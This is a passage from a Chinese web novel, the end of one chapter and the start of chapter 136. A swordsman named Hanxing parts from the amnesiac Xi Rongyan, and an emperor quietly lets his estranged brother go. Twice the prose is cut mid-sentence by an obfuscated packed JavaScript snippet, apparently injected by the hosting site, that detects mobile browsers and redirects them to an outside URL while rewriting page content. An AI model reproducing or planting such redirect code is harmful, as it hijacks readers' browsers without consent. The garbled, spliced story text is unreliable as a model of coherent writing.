席容烟咽下一口鱼肉,正要说话,忽然瞥见他拇指上的象牙扳指,“这是什么东西呀,我看你一直随身带着来着,有什么用吗?” “这叫扳指,拉弓用的,是……”寒星顿了顿,“是我的一个朋友送给我的。” “朋友?”席容烟眨了眨眼睛,“男的女的?” “女的。” 席容烟便不作声了,寒星觉得有趣,逗她道,“怎么了?” “没,没怎么。” “南山,你有心事,对不对?” 席容烟咬着唇瓣,仿佛是下定了某种决心,“送你扳指的人是不是叫阿烟?” 寒星一怔,点了点头,“你怎么知道?” “难怪,你每晚睡觉都会喊她的名字。” “是吗?” 席容烟有些沮丧,“嗯,你是不是很喜欢她?” “是。” “那……”席容烟的声音越来越小,“那你们在一起了吗?” 寒星不知道该如何回答,他想了想,“算是在一起了吧。” 席容烟歪头打量着他,“什么叫算是在一起了?” 寒星没有作声,过了半晌,他看着她的眼睛,“好好的,怎么问起这个?” “因为,我喜欢你,我想问清楚这件事。” 他没想到她回答得这么直截了当,一时没了主意。 她说这话的时候,眼睛亮亮的,比天上的星星还要亮。 原来,这就是她本来的样子吗。 如果当年,陈府没有出事,她一定会快乐无忧地长大,就像天上的太阳一样明媚美好。 寒星想到这里,心中忽然涌起一股酸楚,他叹了口气,缓声道,“这是一个很长的故事,南山,你想听吗?” 席容烟毫不迟疑,“想。” “以后有机会的话,我慢慢讲给你听,好不好?” “不好,我现在就要听。” 寒星默了默,“这个故事太长了,我不知道该从什么地方讲起。” “就从你们刚认识的时候讲起吧!” “刚认识的时候……” 寒星的思绪被拉扯回记忆的尘埃,他抬眼,望着天上的一轮明月,絮絮道,“那一夜,是八月十五,阖家团圆的日子……” 微风阵阵,寒星回忆起他们之间发生的点点滴滴。 最后,寒星讲到了那场大战,他的喉结滚动了一下,“我和她之间,就是这样了。” 在讲的过程中,寒星省略了很多,在他的故事里,她没有疯,更没有失忆,而他之所以能够侥幸活下来,则是因为他的心脏长偏了一寸。 席容烟不发一言,始终静静听着,末了,她问,“所以,她现在还活着?” “嗯。” 火已经熄了,月光洒在她细瓷般的脸庞上,宁静而又柔和。 “那你还喜欢她吗?” “喜欢。” 席容烟想了想,拍掉手上的碎渣,拽他起来,“走。” “做什么?” “我陪你去见她。” “啊?”寒星愣住了,“见谁?” “你的阿烟呀,你那么喜欢她,怎么能不去见她一面呢。” 寒星哭笑不得,连忙摆手道,“不必了。” “为什么?” “我爱她,与她何干,只要她过得好,我就放心了。” 席容烟叹了口气,“可惜了。” “可惜什么?” “可惜,我喜欢你,你喜欢的却是另一个人。” 寒星注视着她的眼睛,不可置信地重复了一遍,“你,喜欢我?” “是啊。” “我做过那么多的坏事,你不觉得,我是个十恶不赦之人吗?” 席容烟摇了摇头,“不觉得呀,其实很多事儿不是你的错,不能全怪你,你也挺可怜的,要怪只能怪你们两个的命不大好。对了,我还不知道你的名字呢,你叫什么?” “寒星。” “寒星。”她低声呢喃,拊掌而笑,“好好听的名字呀!” 寒星正色道,“南山,如果你是她,你知道了我没有死,你会怎么做?” 席容烟用手托着下巴,“我嘛?如果我是她的话,我会杀了你,然后再杀了我自己。” 寒星脸上的笑容僵了僵,“为什么?” “那可是血海深仇呀,我再怎么喜欢一个人,也不可能全然不在乎,所以只要他还活着,我就一定会恨他,一定会想办法杀了他。” “不,我是问,你为什么要自杀?” “因为,我喜欢他呀,喜欢一个人就要和他在一起呀。” 她说着低下了头,长长的睫毛上挂着稀薄的月色,“虽然我没有亲身体会过,但我觉得,爱与恨到了极致,都是一样的。寒星,说实话,我觉得那个阿烟并不爱你。” 寒星淡淡一笑,“为什么?” “如果她真的爱你,她一定会陪你一起死,可她没有,这就说明,她其实并不爱你。” “每个人经历过的事情都是不一样的,每个人的想法也都是不一样的,或许,她有她的道理。” “或许吧。”席容烟顿了顿,忽然仰起脸,“寒星,我有话问你。” 她的小脸很干净,眼睛也很干净,他透过她,看到了很久很久以前的阿烟。 寒星努力让自己的声音听起来还算平静,“什么话?” “寒星,我喜欢你,你喜欢我吗?” 寒星又一次被她震撼到了,她怎么这么勇敢? “喜欢。” “那,你更喜欢她,还是更喜欢我?” 寒星沉默了,这个问题太复杂了,他要如何告诉她,阿烟就是南山,南山就是阿烟。 又或许,南山和阿烟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13718244|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是有所不同的。 南山过得很简单,想得也很简单,爱与恨都可以毫不避讳地宣之于口,在南山的世界里,没有那么多爱恨情仇,她喜欢他,只是因为,她喜欢他。 而阿烟呢,阿烟和他一样,无父无母,寄人篱下,这个世界没有光,于是,他们成为了彼此的光,他们在漆黑的夜里紧紧相拥,在一遍遍的抵死纠缠中重复着不离不弃的誓言。 寒星嘴唇微动,“我不知道。” 席容烟挑了挑眉,没有说话。 他望着她,眼底满是酸涩与自嘲。 他之前听到了一些关于席容烟的传闻,有人说她失踪了,有人说她出家了,还有人说,她死了。 寒星不信神佛,只信自己,可那个时候,他一遍遍地为她祈福祝祷,希望她能平平安安,长命百岁。 如今,她还活着,可是她已经不记得他了。 他从未有过这么无助的感觉,他想对她说好多话,他想把她紧紧搂在怀里,大声告诉她,傻子,你知不知道,你就是阿烟,阿烟就是你,我从始至终爱的人,只有你一个。 但他一句话都没有说。 席容烟怔怔地看着他的眼睛,她不明白,这么好看的眸子里为什么藏着这么深的哀伤,她不明白,自己为什么会有想哭的冲动。 “寒星,我们是不是……” 寒星突然低下头,用唇堵住了她的嘴巴。 她的眼睛睁得大大的,片刻后,她伸手勾住他的脖颈,脚尖轻轻点起,努力迎合着他。 他觉察到了她的吃力,勾唇一笑,索性将她打横抱在怀里。 这时,忽听三乘大师咳了一声,席容烟慌忙推开寒星,往后退了一大步。 寒星的手滞在半空,随即松松垂落。 三乘大师看着二人,并没有说什么,仿佛他刚才什么都没看见,也什么都没听见。 “不早了,睡吧。” 天色已晚,附近又没有人家,几人以天为被,以地为床,拢衣而眠。 幸而江南气候温润,即便已是初秋,仍旧没有一丝凉意。 夜里的风拂过衣襟,疏疏爽爽,带走了他的烦恼,他的不甘,他的痛苦,他的思念…… 寒星睡梦正酣,忽被一人叫醒,他睁开眼,却见是三乘大师。 三乘大师指了指席容烟,示意寒星借一步说话。 二人纵身一跃,稳稳落在了桂花树的虬枝之上。 三乘大师率先开口,“她已经不是她了,施主有没有想过,以什么身份和她在一起?” “没有,我只知道,我喜欢她,她喜欢我。” “那么,施主口中的她又是谁呢?” 寒星摇了摇头,“我不知道。” 三乘大师似是叹了口气,“施主,我有办法让她想起从前的事,如果你愿意的话……” “不。” 三乘大师沉默了,良久,他听见寒星说,“不必了,她现在这样,便很好。” “可是你们之间发生过的事情,她都不记得了,她现在喜欢你,可能只是单纯的觉得你长得好看,施主,喜欢和爱终究是不同的。” “我知道,正因为我爱她,我宁愿她忘了我,永远忘了我。” 说罢,寒星抬眼看向三乘大师,“大师,你不也是如此吗?” 三乘大师微微皱眉,“施主在说什么?” “没什么。”寒星移开目光,淡淡一笑,“我虽然没有你那么深的修行,可我也是死过一次的人了,许多事情,我看得明白,大师是如何对阿烟的,我也瞧得真切。我相信,只可遥遥相望祝祷,不敢伸手触碰分毫的道理,你比我更有体会。” 三乘大师没有说话,只是合掌念了声佛。 寒星端详着树下的席容烟,她睡得很熟,脸上挂着孩子般的笑。 他想起从前,他很少能看见她笑得如此简单,如此纯粹,如此发自肺腑。 她不爱笑,即便是在梦里,眉头也常常是微蹙的。 她现在这样,真的很好,很好。 寒星的喉结滑动了一下,“我要走了,阿烟,我就拜托你帮忙照顾了,如果以后,她有了心仪的男子,还请大师替我向她送上祝福。” “施主……” “大师,还记得十年前,你同我说的话吗,那时候,你劝我放下。” “当然记得,我说,唯有放下,才得解脱,可你却说,若无拿起,谈何放下。” 寒星认真地说,“是啊,我现在便是放下了。”他顿了顿,补充道,“是拿起之后的放下。” 三乘大师一怔,半晌,他点点头,“如此,也好。” 两日后,寒星正式同他们二人告别。 又是一个月圆之夜,临行前,寒星给席容烟跳了一支剑舞。 因为二人大婚时,他曾经承诺过她。 青霜已埋,忘川已断,寒星拾起一截枯枝,衣袂飘飘,随风而动。 席容烟笑着拍掌叫好,可笑着笑着,她的眼角倏然滑落两行清泪。 她拉住他的袖子,原本想说,“你可不可以不要走?” 可她说出来的却是,“一路平安呀!” 寒星笑着应道,“好。” 他的余光扫见她头上的木簪,微一皱眉,“这簪子——” 席容烟顺手拔下,“你说这个?” 寒星瞧着上面清晰如昔的纹样,轻轻“嗯”了一声。 “我也不知道从哪来的,你若喜欢,便送你啦。” “啊,这不好吧。” “这有什么。” 说着,席容烟就把木簪塞到了他的手上。 寒星摩挲着木簪上面的烟花与星河,这是当年他亲手雕刻的,而今已然物是人非。 “正所谓,来而不往非礼也,你是不是也应该送我一样东西?”[1] “好啊,你想要什么?” 席容烟摊开他的手,毫不客气地说,“我想要这枚象牙扳指。” 寒星缓缓取下扳指,一晃眼,这枚扳指已经陪他度过了十六栽悠悠岁月。 因为是她送给他的礼物,这么多年来,他一直爱护这枚扳指,即便日日夜夜戴在身上,扳指也没有一丝一毫的损坏。 他尚在出神,席容烟却已从他手中一把夺过了扳指,笑道,“怎么,你不会舍不得给我吧?” 寒星摇摇头,“没什么舍不得的,送你了。” 席容烟往自己的手上试了试,嘟囔道,“好像有点大,要不,我还是把它还给你吧,我怕我不小心弄丢了。” “没事,丢了就丢了吧。” “啊?” 寒星伸手拍了拍她的肩,“南山,好好的。” 席容烟闷闷“嗯”了一声。 “三乘大师,走了。” 三乘大师合掌相送。 “大师,你说,我们还会见面吗?” “过去心不可得,现在心不可得,未来心不可得,见不见面,又有什么要紧。”[2] “也对。” 他转身欲走,席容烟却一下子抱住了他,“寒星,不要走。” 寒星一动不动,半晌,他轻轻拉开席容烟的手,凝眸看着她,努力扯出一抹笑来,“南山,别难过,聚散都是寻常事,有缘,我们还会再见的。” 席容烟没有说话,只是低声抽泣着。 寒星不忍心再看她,他转身而去,再未回头。 他怕,他再多待一秒,就会再也舍不得离开。 她久久而立,泪水模糊了月光,一片朦胧之中,他的背影化成了一个小小的黑点。 转瞬间,便再也看不见了。 136. 白衣翩跹归 大魏三十八年。 魏太后薨逝,享年五十五岁。 魏晗烨悲痛不已,下令举国同哀,三年内不得嫁娶,不得大宴。 落葬时,魏晗烨遵照魏太后的遗愿,将她葬在了霍家园林。 园中草木郁郁,花香纷纷。 魏晗烨拨开繁茂的枝丫,独自一人步入林中。 青冢掩映在一片碧色当中,上立一碑,墓碑上用工笔书了两个大字——霍姹。 霍姹在十七岁时遇到了魏帝,她对他一见钟情,以身相许。 那是她一生中最为绚烂夺目的一段时光,彼时的她鲜艳明媚,对爱情充满了向往。 殊不知,她以为的天赐良缘不过是她的一厢情愿。 魏帝并不爱她,他娶她,不过是为了获得霍家的支持。 魏帝不爱任何一个人,从始至终,他爱的唯有他自己罢了。 或许,霍姹知道魏帝的心思,只是并不在意。 那时的她不会想到,她对他的爱,就这么困住了她的一生。 因为爱意,因为霍氏一族的荣辱,她将自己的身与心都锁在朱红色的宫墙之内。 她成为了魏帝的皇后,成为了太子的生母,成为了大魏所有女子都会忍不住羡慕的人。 可她得到什么了呢? 是皇后的尊荣,还是弃妇的辛酸? 是父亲的骤然离世,还是儿子的中毒身亡? 是一个个勾心斗角的白日,还是一夜夜苦苦等待的天明? 得之失之,孰重孰轻,也就只有她自己知道了。 其实,霍姹很早就死了。 她被冠以夫姓,埋于迭迭深宫,锁于重重朱墙,消逝在过去的时空。 活下来的人,是魏皇后,是魏太后,是那个身着华服,头戴凤冠,却已心如死灰的人。 而今,在时隔三十八年之后,魏太后终于叫回了她的本名——霍姹。 可代价是,她死了。 作为大魏身份最为尊贵的女子,她的身上肩负了太多,情情爱爱与她无缘,自由随性更是与她无关。诞育皇子是她的使命,和睦宫闱是她的职责,她不能做回自己,一刻也不能。 所以,只有魏太后死了,霍姹才能活。 魏晗烨微微一叹,抬手斟酒,絮絮念着,“母亲,儿子来看你了……” 林中静谧,他在里面待了很久很久。 从他登上皇位,算到如今,已经过去二十年了。 他跪在坟前,静静回忆着这些年来的得与失,悲与喜。 魏太后没有选择,魏晗烨同样没有。 出生在最是无情的帝王家,于他而言,天潢贵胄是荣耀也是枷锁,是权柄也是桎梏。 魏晗烨勤政,爱民,重妻,疼子,是万民景仰的大魏天子,是后妃爱慕的尊贵陛下。 他坐稳了这个江山,立于权力之巅,无人之峰,他很满足,也很欢喜。 朝堂之上,风云变幻,波澜诡谲,一步步走来,他的手上同样沾染了许许多多的鲜血,许许多多的亡魂,他已经不是从前的他了。 有时候,他会梦到从前的自己,他看着梦中的那个清朗少年,只觉得一切恍如隔世。 魏晗烨看到了魏帝的一生,知道这个皇位没有世人想的那么美好,可他还是义无反顾地走了上去,因为他是魏家的子孙,因为他是大魏的天子。 人生如棋,起手无悔,他以己为子,以身入局。 既然身在局中,便注定是局中人。 魏晗烨缓缓起身,他玄色的衣袍带起一丝葱郁。 他余光瞥见,微一皱眉,抬指弹去了那叶新绿。 魏晗烨走出林子,等候在外的袁青抱剑行礼,“陛下。” 魏晗烨淡淡“嗯”了一声,“朕交代给你的事情,办得如何了?” “陛下放心,一切都已办妥。” 魏晗烨回身凝神着林间的一抹幽深,半晌,说了一个“好”字。 郊外。 夜已经很深了,风有一下没一下地刮着。 魏晗烨带着袁青,在一处废弃的凉亭里等人。 袁青抬袖掩住脸,悄悄打了个哈欠。 “陛下,这么晚了,那个人还会来吗?” 魏晗烨握着早已冰凉的茶盏,淡淡道,“他最好是别来。” 袁青摸不着头脑,他不明白,自家主子到底打的什么主意。 过了好一阵,只见魏晗煜一袭白衣,头戴面具,姗姗来迟。 魏晗烨的眉头松了松,他起身相迎,行动间,黑色的袍袖上溅上了一点茶水。 魏晗煜冲他一笑,又转头扫了眼袁青,“他也是袁家人?” 魏晗烨微一点头,吩咐道,“袁青,你先下去吧。” “是。” 魏晗煜见袁青走远了,这才掀袍坐下,“皇兄,好久不见。” 魏晗烨抬眼注视着他,“是啊,一晃眼,已经过去十八年了,晗煜,你瘦了好多。” 魏晗煜耸了耸肩,“哈哈哈,真的吗,我怎么没发现。” “日日相见,自然不会发现,久别重逢,才会感慨一二。” “有道理。” “我呢,你瞧我,可有什么不同?” “皇兄风采依旧,只是眉眼间,似乎憔悴了不少。” “是啊,日日案牍间,安能不憔悴。” 魏晗煜笑了笑,“听皇兄这意思,是厌烦了?” 魏晗烨也笑了笑,换了一个话题,“我原以为,你不会回来的。” “母后走了,不管怎么说,母子一场,我总归要去送一送。” “也对,你是该送一送,你从哪里过来?” “西山。” “你去见了三乘大师?” “原本是想见的,只可惜,大师不在,就没见成。” “三乘大师云游去了,我也许久未曾见到他了。” “这样说来,我没见到大师,倒不是我运气差的缘故?” “哈哈哈,当然不是了,晗煜,这些年来,你过得可好?” “好,好得不得了。你呢?这个皇帝,你当得可还痛快吗?” “挺好的。” 短暂的寒暄之后,两人没什么好说的,都沉默了下来。 对于他们而言,他们是彼此在这世间最亲的人了。 可就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13722195|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这么血浓于水的两个人,十八年未见,却不知道该说些什么。 魏晗烨端详了魏晗煜一阵,抬手斟茶,“吃口茶,润润喉吧。” 魏晗煜垂眸看着明亮的茶汤,半晌,一笑,“不急。” 他从怀中摸出一样东西,“一直想把这劳什子交给皇兄,幸而这次带来了,皇兄快把它收好,从此也算了了我一桩心事。” 魏晗烨心中犹豫,没有伸手去接。 魏晗煜似是笑了笑,他拨开外头裹着的一层锦帛,搁在桌上。 魏晗烨瞧见锦帛里头的血玉,不觉一愣,“晗煜,你这是?” “当年走得急,随手带了出来,这么多年了,我也一直没给它找到一个好去处,宫里的东西总不好流落在外头,今日完璧归赵,还给皇兄。” 说罢,魏晗煜起身行了一礼,正色道,“皇兄,十八年未见,今日你我兄弟二人重逢,也算一件喜事,只是,皇兄,这是我最后一次来见你了。” “为什么?” 魏晗煜笑着指了指魏晗烨,又指了指自己,“我们,都已经不是从前的我们了,不是吗?” 魏晗烨垂眸看见自己一身玄袍,抬眼又见魏晗煜一袭白衣,半晌,也是一笑,“是啊,我们都变了。” 魏晗烨收了血玉,他嘴唇微动,似乎是想说些什么,可却又犹豫要不要说。 魏晗煜扬了扬眉,他端起茶盏,正准备一饮而尽。 魏晗烨见状,连忙拦住,“等一下。” 魏晗煜的手滞在半空之中,他的嘴角挂着轻轻浅浅的笑意,“怎么了皇兄?” 魏晗烨站起身,接过那盏茶,挥袖洒在地上,“晗煜,你要走了,这盏茶,就算我为你践行了,我祝你一路平安,一生顺遂。” 魏晗煜稍作思量,掀衣而跪,“谢陛下。” 魏晗烨一怔,末了阖眼长叹,“起来吧。” 月色依稀,星辰寥寥,白衣男子袍角翻飞,策马而去。 袁青缓步迈入亭中,他望着那抹转瞬即逝的白影,微微皱眉,“陛下,怎么把他放走了,不是说要——” 魏晗烨摆摆手,示意他不要再说下去。 袁青只得噤声,垂手立在一旁。 良久,魏晗烨觉得有些冷了,他敛了敛衣袖,“袁青,随朕回宫吧。” 袁青上前扶他起来,试探着问,“陛下,真要放他走吗,再不派人去追,可就来不及了。” “不必了,他不会再回来了。” 袁青不明所以,其实他很想问一句,那人究竟是谁,可他到底没敢问。 “那万一——” “不会有万一——” 当空滑过一道流光,魏晗烨脚下一顿,仰头而望。 一捧捧绚烂夺目的烟花倏忽绽放,划开了漆黑的夜色,银白的月光。 烟花映入眼眸的那一刹那,魏晗烨想起了一些人,一些事。 他抬眼凝视着不见光亮的前方,只觉得往事如烟,裹挟着从前的自己,随着这漫天烟花,一同消逝在过去的记忆里了。 “不年不节的,怎么有人放烟花呀?” “谁知道呢,可能是谁家有喜事吧。”